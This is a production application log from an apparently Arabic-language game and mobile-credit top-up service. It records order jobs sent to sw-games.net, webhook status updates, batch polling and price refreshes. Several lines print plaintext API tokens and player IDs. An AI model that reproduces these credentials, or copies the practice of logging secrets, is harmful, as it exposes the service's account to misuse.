[2026-03-24 00:42:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-t1Pw0-1774302048","operation_id":163417,"total_processed":3,"total_errors":0,"chunks_processed":1} 
[2026-03-24 00:42:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-t1Pw0-1774302048","operation_id":163417,"processed":3,"errors":0} 
[2026-03-24 00:42:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-t1Pw0-1774302048","operation_id":163417,"processed":3,"errors":0} 
[2026-03-24 00:42:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"mwvkK1LOlt3YyFFL6GFq3oKtONHKUlJJ","execution_time":"2026-03-24 00:42:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-t1Pw0-1774302048","operation_id":163417} 
[2026-03-24 00:42:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 237  
[2026-03-24 00:42:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 237  
[2026-03-24 00:42:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 237  
[2026-03-24 00:43:18] production.INFO: Constructing job for order: 178486  
[2026-03-24 00:43:19] production.INFO: Handling job for order: 178486  
[2026-03-24 00:43:19] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:43:19] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:43:19] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=500&uuid=d6fe31a1-3a82-46a2-901f-904f11231e82&Player_ID=1100765771  
[2026-03-24 00:43:19] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=500&uuid=d6fe31a1-3a82-46a2-901f-904f11231e82&Player_ID=1100765771","has_body":false} 
[2026-03-24 00:43:20] production.INFO: Operation sent successfully {"operation_id":163419,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-N0THEwa2-1774302200","amount":8.7391303999999987439650794840417802333831787109375,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 00:43:20"}},"processed_data":{"order_number":"ORD-N0THEwa2-1774302200","amount":8.7391303999999987439650794840417802333831787109375,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 00:43:24] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-N0THEwa2-1774302200","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 00:43:24] production.INFO: Processed webhook data (normalized) {"id":"ORD-N0THEwa2-1774302200","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 00:43:24] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 00:43:24] production.INFO: SendAcceptReject: Notification queued {"user_id":620,"notification_type":"order_approved","reference_id":178486} 
[2026-03-24 00:43:24] production.INFO: Order updated successfully. Order ID: 178486, Status: completed  
[2026-03-24 00:43:24] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-N0THEwa2-1774302200","status":"completed","codes_count":0} 
[2026-03-24 00:43:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 620  
[2026-03-24 00:43:52] production.INFO: Constructing job for order: 178487  
[2026-03-24 00:43:53] production.INFO: Handling job for order: 178487  
[2026-03-24 00:43:53] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 00:43:53] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:43:53] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/36/params?qty=1&uuid=61eb5da7-5382-4639-94f3-616a482c1834&Player_ID=0988761191  
[2026-03-24 00:43:53] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/36/params?qty=1&uuid=61eb5da7-5382-4639-94f3-616a482c1834&Player_ID=0988761191","has_body":false} 
[2026-03-24 00:43:54] production.INFO: Operation sent successfully {"operation_id":163420,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-mtUzLuk9-1774302234","amount":65.9585000000000007958078640513122081756591796875,"status":"processing","product":"62.50 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 00:43:54"}},"processed_data":{"order_number":"ORD-mtUzLuk9-1774302234","amount":65.9585000000000007958078640513122081756591796875,"status":"processing","product":"62.50 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 00:44:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"BV8ylFyl4UN7ulBMXBoPNrUzoNtCSNMV","execution_time":"2026-03-24 00:44:03"} 
[2026-03-24 00:44:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"BV8ylFyl4UN7ulBMXBoPNrUzoNtCSNMV","execution_time":"2026-03-24 00:44:03","total_operations":5,"sites_count":2} 
[2026-03-24 00:44:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"BV8ylFyl4UN7ulBMXBoPNrUzoNtCSNMV","execution_time":"2026-03-24 00:44:03","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 00:44:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"BV8ylFyl4UN7ulBMXBoPNrUzoNtCSNMV","execution_time":"2026-03-24 00:44:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:44:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"BV8ylFyl4UN7ulBMXBoPNrUzoNtCSNMV","execution_time":"2026-03-24 00:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 00:44:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"BV8ylFyl4UN7ulBMXBoPNrUzoNtCSNMV","execution_time":"2026-03-24 00:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:44:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"BV8ylFyl4UN7ulBMXBoPNrUzoNtCSNMV","execution_time":"2026-03-24 00:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:44:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"BV8ylFyl4UN7ulBMXBoPNrUzoNtCSNMV","execution_time":"2026-03-24 00:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:44:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"BV8ylFyl4UN7ulBMXBoPNrUzoNtCSNMV","execution_time":"2026-03-24 00:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:44:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"BV8ylFyl4UN7ulBMXBoPNrUzoNtCSNMV","execution_time":"2026-03-24 00:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 00:44:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"BV8ylFyl4UN7ulBMXBoPNrUzoNtCSNMV","execution_time":"2026-03-24 00:44:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 00:44:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"BV8ylFyl4UN7ulBMXBoPNrUzoNtCSNMV","execution_time":"2026-03-24 00:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1,"order_ids":["ORD-mtUzLuk9-1774302234"]} 
[2026-03-24 00:44:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"BV8ylFyl4UN7ulBMXBoPNrUzoNtCSNMV","execution_time":"2026-03-24 00:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:44:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"BV8ylFyl4UN7ulBMXBoPNrUzoNtCSNMV","execution_time":"2026-03-24 00:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1} 
[2026-03-24 00:44:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"BV8ylFyl4UN7ulBMXBoPNrUzoNtCSNMV","execution_time":"2026-03-24 00:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mtUzLuk9-1774302234","operation_id":163420} 
[2026-03-24 00:44:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"BV8ylFyl4UN7ulBMXBoPNrUzoNtCSNMV","execution_time":"2026-03-24 00:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mtUzLuk9-1774302234","operation_id":163420,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 00:44:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"BV8ylFyl4UN7ulBMXBoPNrUzoNtCSNMV","execution_time":"2026-03-24 00:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mtUzLuk9-1774302234","operation_id":163420,"processed":0,"errors":0} 
[2026-03-24 00:44:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"BV8ylFyl4UN7ulBMXBoPNrUzoNtCSNMV","execution_time":"2026-03-24 00:44:03","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mtUzLuk9-1774302234","operation_id":163420} 
[2026-03-24 00:45:00] production.INFO: Executing GetProducts task...  
[2026-03-24 00:45:00] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 00:45:00] production.INFO: Executing GetProducts task...  
[2026-03-24 00:45:02] production.INFO: async() رجع: true  
[2026-03-24 00:45:02] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 00:45:02] production.WARNING: Product with ID 395 not found  
[2026-03-24 00:45:03] production.WARNING: Product with ID 213 not found  
[2026-03-24 00:45:03] production.WARNING: Product with ID 212 not found  
[2026-03-24 00:45:03] production.WARNING: Product with ID 211 not found  
[2026-03-24 00:45:03] production.WARNING: Product with ID 210 not found  
[2026-03-24 00:45:03] production.WARNING: Product with ID 209 not found  
[2026-03-24 00:45:03] production.WARNING: Product with ID 214 not found  
[2026-03-24 00:45:03] production.WARNING: Product with ID 215 not found  
[2026-03-24 00:45:03] production.WARNING: Product with ID 216 not found  
[2026-03-24 00:45:03] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 00:46:00] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"VPL6GJzceOcNpM1GqREXafFUb8t3Drfp","execution_time":"2026-03-24 00:46:00"} 
[2026-03-24 00:46:00] production.INFO: Found pending operations {"job":"Quryjob","job_id":"VPL6GJzceOcNpM1GqREXafFUb8t3Drfp","execution_time":"2026-03-24 00:46:00","total_operations":5,"sites_count":2} 
[2026-03-24 00:46:00] production.INFO: Processing site batch {"job":"Quryjob","job_id":"VPL6GJzceOcNpM1GqREXafFUb8t3Drfp","execution_time":"2026-03-24 00:46:00","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 00:46:00] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"VPL6GJzceOcNpM1GqREXafFUb8t3Drfp","execution_time":"2026-03-24 00:46:00","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:46:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"VPL6GJzceOcNpM1GqREXafFUb8t3Drfp","execution_time":"2026-03-24 00:46:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 00:46:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"VPL6GJzceOcNpM1GqREXafFUb8t3Drfp","execution_time":"2026-03-24 00:46:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:46:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"VPL6GJzceOcNpM1GqREXafFUb8t3Drfp","execution_time":"2026-03-24 00:46:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:46:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"VPL6GJzceOcNpM1GqREXafFUb8t3Drfp","execution_time":"2026-03-24 00:46:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:46:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"VPL6GJzceOcNpM1GqREXafFUb8t3Drfp","execution_time":"2026-03-24 00:46:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:46:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"VPL6GJzceOcNpM1GqREXafFUb8t3Drfp","execution_time":"2026-03-24 00:46:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 00:46:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"VPL6GJzceOcNpM1GqREXafFUb8t3Drfp","execution_time":"2026-03-24 00:46:00","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 00:46:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"VPL6GJzceOcNpM1GqREXafFUb8t3Drfp","execution_time":"2026-03-24 00:46:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1,"order_ids":["ORD-mtUzLuk9-1774302234"]} 
[2026-03-24 00:46:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"VPL6GJzceOcNpM1GqREXafFUb8t3Drfp","execution_time":"2026-03-24 00:46:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:46:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"VPL6GJzceOcNpM1GqREXafFUb8t3Drfp","execution_time":"2026-03-24 00:46:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"orders_count":1} 
[2026-03-24 00:46:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"VPL6GJzceOcNpM1GqREXafFUb8t3Drfp","execution_time":"2026-03-24 00:46:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mtUzLuk9-1774302234","operation_id":163420,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 00:46:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"VPL6GJzceOcNpM1GqREXafFUb8t3Drfp","execution_time":"2026-03-24 00:46:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mtUzLuk9-1774302234","operation_id":163420,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 00:46:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"VPL6GJzceOcNpM1GqREXafFUb8t3Drfp","execution_time":"2026-03-24 00:46:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mtUzLuk9-1774302234","operation_id":163420,"count":1} 
[2026-03-24 00:46:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"VPL6GJzceOcNpM1GqREXafFUb8t3Drfp","execution_time":"2026-03-24 00:46:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mtUzLuk9-1774302234","operation_id":163420,"count":1} 
[2026-03-24 00:46:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"VPL6GJzceOcNpM1GqREXafFUb8t3Drfp","execution_time":"2026-03-24 00:46:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mtUzLuk9-1774302234","operation_id":163420,"user_id":1054,"notification_type":"order_approved","reference_id":178487} 
[2026-03-24 00:46:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"VPL6GJzceOcNpM1GqREXafFUb8t3Drfp","execution_time":"2026-03-24 00:46:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mtUzLuk9-1774302234","operation_id":163420,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 00:46:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"VPL6GJzceOcNpM1GqREXafFUb8t3Drfp","execution_time":"2026-03-24 00:46:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mtUzLuk9-1774302234","operation_id":163420,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 00:46:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"VPL6GJzceOcNpM1GqREXafFUb8t3Drfp","execution_time":"2026-03-24 00:46:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mtUzLuk9-1774302234","operation_id":163420,"processed":1,"errors":0} 
[2026-03-24 00:46:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"VPL6GJzceOcNpM1GqREXafFUb8t3Drfp","execution_time":"2026-03-24 00:46:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mtUzLuk9-1774302234","operation_id":163420,"processed":1,"errors":0} 
[2026-03-24 00:46:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"VPL6GJzceOcNpM1GqREXafFUb8t3Drfp","execution_time":"2026-03-24 00:46:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mtUzLuk9-1774302234","operation_id":163420} 
[2026-03-24 00:46:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1054  
[2026-03-24 00:48:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Mt806gIHXd0z9wNlweXGR7lu8tIhLIVq","execution_time":"2026-03-24 00:48:01"} 
[2026-03-24 00:48:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Mt806gIHXd0z9wNlweXGR7lu8tIhLIVq","execution_time":"2026-03-24 00:48:01","total_operations":4,"sites_count":1} 
[2026-03-24 00:48:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Mt806gIHXd0z9wNlweXGR7lu8tIhLIVq","execution_time":"2026-03-24 00:48:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 00:48:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Mt806gIHXd0z9wNlweXGR7lu8tIhLIVq","execution_time":"2026-03-24 00:48:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:48:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Mt806gIHXd0z9wNlweXGR7lu8tIhLIVq","execution_time":"2026-03-24 00:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 00:48:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Mt806gIHXd0z9wNlweXGR7lu8tIhLIVq","execution_time":"2026-03-24 00:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:48:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Mt806gIHXd0z9wNlweXGR7lu8tIhLIVq","execution_time":"2026-03-24 00:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:48:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Mt806gIHXd0z9wNlweXGR7lu8tIhLIVq","execution_time":"2026-03-24 00:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:48:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Mt806gIHXd0z9wNlweXGR7lu8tIhLIVq","execution_time":"2026-03-24 00:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:48:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Mt806gIHXd0z9wNlweXGR7lu8tIhLIVq","execution_time":"2026-03-24 00:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 00:48:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Mt806gIHXd0z9wNlweXGR7lu8tIhLIVq","execution_time":"2026-03-24 00:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 00:48:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Mt806gIHXd0z9wNlweXGR7lu8tIhLIVq","execution_time":"2026-03-24 00:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:50:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"PEW2BWb6wLBnvsDdRUYYwJtmkNTl7L2X","execution_time":"2026-03-24 00:50:01"} 
[2026-03-24 00:50:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"PEW2BWb6wLBnvsDdRUYYwJtmkNTl7L2X","execution_time":"2026-03-24 00:50:01","total_operations":4,"sites_count":1} 
[2026-03-24 00:50:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"PEW2BWb6wLBnvsDdRUYYwJtmkNTl7L2X","execution_time":"2026-03-24 00:50:01","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-gbEh8x-1774267314","ORD-OdQl-1774269709","ORD-gloNR-1774269732","ORD-ccF-1774273795"]} 
[2026-03-24 00:50:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"PEW2BWb6wLBnvsDdRUYYwJtmkNTl7L2X","execution_time":"2026-03-24 00:50:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 00:50:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"PEW2BWb6wLBnvsDdRUYYwJtmkNTl7L2X","execution_time":"2026-03-24 00:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 00:50:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"PEW2BWb6wLBnvsDdRUYYwJtmkNTl7L2X","execution_time":"2026-03-24 00:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-ccF-1774273795","operation_id":162825} 
[2026-03-24 00:50:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"PEW2BWb6wLBnvsDdRUYYwJtmkNTl7L2X","execution_time":"2026-03-24 00:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gbEh8x-1774267314","operation_id":162641} 
[2026-03-24 00:50:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"PEW2BWb6wLBnvsDdRUYYwJtmkNTl7L2X","execution_time":"2026-03-24 00:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-gloNR-1774269732","operation_id":162710} 
[2026-03-24 00:50:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"PEW2BWb6wLBnvsDdRUYYwJtmkNTl7L2X","execution_time":"2026-03-24 00:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:50:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"PEW2BWb6wLBnvsDdRUYYwJtmkNTl7L2X","execution_time":"2026-03-24 00:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 00:50:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"PEW2BWb6wLBnvsDdRUYYwJtmkNTl7L2X","execution_time":"2026-03-24 00:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708,"processed":0,"errors":0} 
[2026-03-24 00:50:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"PEW2BWb6wLBnvsDdRUYYwJtmkNTl7L2X","execution_time":"2026-03-24 00:50:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-OdQl-1774269709","operation_id":162708} 
[2026-03-24 00:50:01] production.INFO: Executing GetProducts task...  
[2026-03-24 00:50:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 00:50:01] production.INFO: Executing GetProducts task...  
[2026-03-24 00:50:03] production.INFO: async() رجع: true  
[2026-03-24 00:50:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 00:50:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 00:50:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 00:50:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 00:50:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 00:50:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 00:50:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 00:50:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 00:50:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 00:50:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 00:50:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 00:50:11] production.INFO: Constructing job for order: 178488  
[2026-03-24 00:50:14] production.INFO: Handling job for order: 178488  
[2026-03-24 00:50:14] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 00:50:14] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 00:50:14] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=fb584088-e7be-4579-aff1-d7f179e2c880&Player_ID=7667132941  
[2026-03-24 00:50:14] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=fb584088-e7be-4579-aff1-d7f179e2c880&Player_ID=7667132941","has_body":false} 
